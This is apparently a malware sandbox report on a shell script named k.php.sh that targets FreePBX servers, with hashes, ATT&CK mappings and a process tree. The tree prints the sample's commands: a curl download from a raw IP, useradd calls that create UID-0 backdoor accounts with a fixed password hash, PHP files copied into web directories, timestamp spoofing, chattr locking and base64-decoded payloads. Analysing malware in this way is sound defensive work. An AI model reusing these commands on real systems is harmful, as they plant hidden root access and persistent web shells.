efc4d09fc5b70a1e4936a19d0cd005c7d3e4834c8a100469672ce6bdb0c87fb2

Analysis

max time kernel
140s
max time network
69s
platform
debian-9_mipsel
resource
debian9-mipsel-20250619-en
resource tags

arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
13/05/2026, 12:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
k.php.sh
Size 44KB
Sample260513-ps571aex4j
SHA256 efc4d09fc5b70a1e4936a19d0cd005c7d3e4834c8a100469672ce6bdb0c87fb2
MD5 881151e9db0f3be17a21c75b5d4fef28
SHA1 fa0be89639d644d1bcf0ead23c2b404f3b617152
SHA512 b4ff2a2fc5ace8b3aaa12cdfdb23de1f49d8e57f9f27e4c359ebb8ae16d111b923fccb988071768639e13151a0d994a3a5cd00cb0f5a8245ffbb8257c50c7cba
SSDEEP 768:b2XRWNGxVu9GKYpr9GKYp82fkR4nnA9GKYpr9GKYp82fkR4nnx:bylxtco
TLSH
T162136C6566853C28AE9988371D7E1F0CBDAA83E2310491DDBFCB3CF18C19A9CD21871D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery persistence

Malware Config

Signatures

Modifies password files for system users/ groups 1 TTPs 8 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
867	chmod

OS Credential Dumping 1 TTPs 2 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd

Adds a user to the system 4 IoCs

pid	Process
826	useradd
834	useradd
844	useradd
848	useradd

Deobfuscate/Decode Files or Information 1 TTPs 7 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
888	base64
824	base64
832	base64
842	base64
846	base64
873	base64
883	base64

Reads runtime system information 33 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/test.sh	k.php.sh

/tmp/k.php.sh
/tmp/k.php.sh
1⤵
- Writes file to tmp directory
PID:714
- /bin/bash
  bash
  2⤵
  PID:720
- /usr/bin/curl
  curl http://45.95.147.178/x -ks
  2⤵
  - Reads runtime system information
  PID:719
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:822
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:824
- /bin/bash
  bash
  2⤵
  PID:825
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:826
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:827
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:828
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:829
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:830
- /bin/bash
  bash
  2⤵
  PID:833
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:834
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:835
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:836
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:837
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:838
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:832
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:842
- /bin/bash
  bash
  2⤵
  PID:843
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:844
- /bin/bash
  bash
  2⤵
  PID:847
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:848
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:846
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:849
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:850
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:851
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:852
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:853
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:854
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
  2⤵
  - Reads runtime system information
  PID:855
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
  2⤵
  - Reads runtime system information
  PID:856
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:857
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
  2⤵
  - Reads runtime system information
  PID:858
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php
  2⤵
  - Reads runtime system information
  PID:859
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php
  2⤵
  - Reads runtime system information
  PID:860
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php
  2⤵
  - Reads runtime system information
  PID:861
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php
  2⤵
  - Reads runtime system information
  PID:862
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php
  2⤵
  - Reads runtime system information
  PID:863
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:864
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:868
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:869
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:870
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:871
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:873
- /bin/bash
  bash /tmp/test.sh
  2⤵
  PID:874
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:877
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:878
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:879
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:880
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:881
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:883
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:884
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:885
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:886
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:888
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:889
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:890
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:891
- /bin/rm
  rm -rf /tmp/test.sh
  2⤵
  PID:892
- /bin/bash
  bash /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:895
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:896

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

passwd+

Path /etc/passwd+
Size 1KB
SHA256 7804a9bf801c95d7fc06aa3f9fc86d79c830ab728773e47c97039ae10503e411
MD5 402c4c78cd05ab84e54fd6c3afcecd4a
SHA1 e4efe63dfbf9a214ffac9960704408ab47632626
SHA512 6885ace9fe605c9bd8ff126682c954bc09f786b52d8b96556426fde1be8882e8cd86fe3b6ab2cee3bed26e1fa1e28f41494351e7a096297187c651760a3ae6f6
TLSH
T111314920032990BC9CC1E85A111F7FD414EC78D14A79FB2DDC7BA144EC9BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 1a9fa1774e7cef8530dada15004b2ca577ec490967c73215576c462845d0b3dc
MD5 796251e44d89beefde52524c5fdff5c3
SHA1 4e8ca04b0aa8476e9bb7b491527461b52feb7393
SHA512 f05fd9f7551b736a8c8729bad8b0bf177818a41449393f35a99496aa7873b580387d5605dac00f61e9294acda6eddfb54bc4ad942418af57fcdfa406c9238899
TLSH
T1D3315A10032990BC9DC1E85A111F7FD414EC78E14A79FB2DD87BA140EC8BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 949B
SHA256 278a521644d6a0b98a84344a2a8c0a2e2f680aa106cda6a14a7332654499b15d
MD5 d9a9bb1c9db65df734224783c2623f3c
SHA1 668e337062395c1a10a402d51cbe9331533a5576
SHA512 d7df577db7dacb4db71eb586200bb24a97b935e9dc9d4cd1f6f379d1fe86c922d625fc7ae1c34ee51e1fe750bd0e067a93b50567a4527c35c1908649b6d6148a
TLSH
T156117380633CFC5843D651DD659202D9D7EF6C750274C58FC86689738EB48E91B19CB7
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 909B
SHA256 ca505d81971e10fe5c2a0a6ec1061ffbf8f2f5d01a9c4ae9e288bbd41eab09e5
MD5 577bdb24a2741f1ab951dcec4dedd9d5
SHA1 2ddf63c97eff22bca289de4596b1de0f72eb86e3
SHA512 62a8c82eaaea450825eda57927247bb9b7ca385b19ca7effdac58915d6d46eb172de8f66704dbd195bb142d1ef4e3fa0bc964b2da66e83dcb813417116515275
TLSH
T15F117080633CFC5843E550DD619202D9D6EB6C3502B8C18FC86689738EB48E61719CB7
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 59B
SHA256 da8f26f0a2ae8764c3e20dc22bc65cca4e3484540596ef7ceaafac71c26abd7c
MD5 5c9e3004d1697716b1cb75f242c2beea
SHA1 5f0a26471d327b6e2fe3fb5e495b6b193da2e7f2
SHA512 e6fb56cb30f70aa40b4a8d328240748c45e8810f88c606b4573f30cad9db820dc7d0ecc8d7cc784fe386f58f9095adde0131c605bd1a5417e887ca0b81d406ff
TLSH
T1CCA002000217A1C0C1D35504440D93AD312175D3D4C0B868C254E55606B05714450251
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 39B
SHA256 9316f27c6431ca1472e0bbdc728ecd20cb7eab44fd03b2a04f6d643e99a24e89
MD5 d706ba86b3fd8589ecb5aa198e1e3cbf
SHA1 12fc273031b205c1527045d5c923d657378802f5
SHA512 ddbf918aaaa0b2914f7a39b6d9f6824d99232bc53491cdf931bc683ae54400b05a7eaa2667c752279e9f45fbd30279ac596acbbbc523abad69d21c156f58b1d0
MD5 SHA1 SHA512

Submit Download

test.sh

Path /tmp/test.sh
Size 12KB
SHA256 20d80d9403f12e730915bf419cdd8f65d1ee09ebfe5f2f382f2d8aa0511ea4ab
MD5 8f7541228c408eb56be12b0e084f80ef
SHA1 7075c8d6693cfaa96ecb5b8bf1685100f89ed753
SHA512 3cb80a5b751c5d29216af3363315845409bfdcad53fa21d24bfe8ed6fdabc28065223dfbc84e23ff66cb0cb3b22f9ae11de0ca240905324d76a8cdc4231d898d
SSDEEP 384:zro/A8C1cJlJoro/A8C1cJlJqro/A8C1cJlJrrA:eJlJLJnrA
TLSH
T15342D783466F6175A2093FEB58FC6F9C7BE68B4E34E2282525163DA8018DD0FD4B4A5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads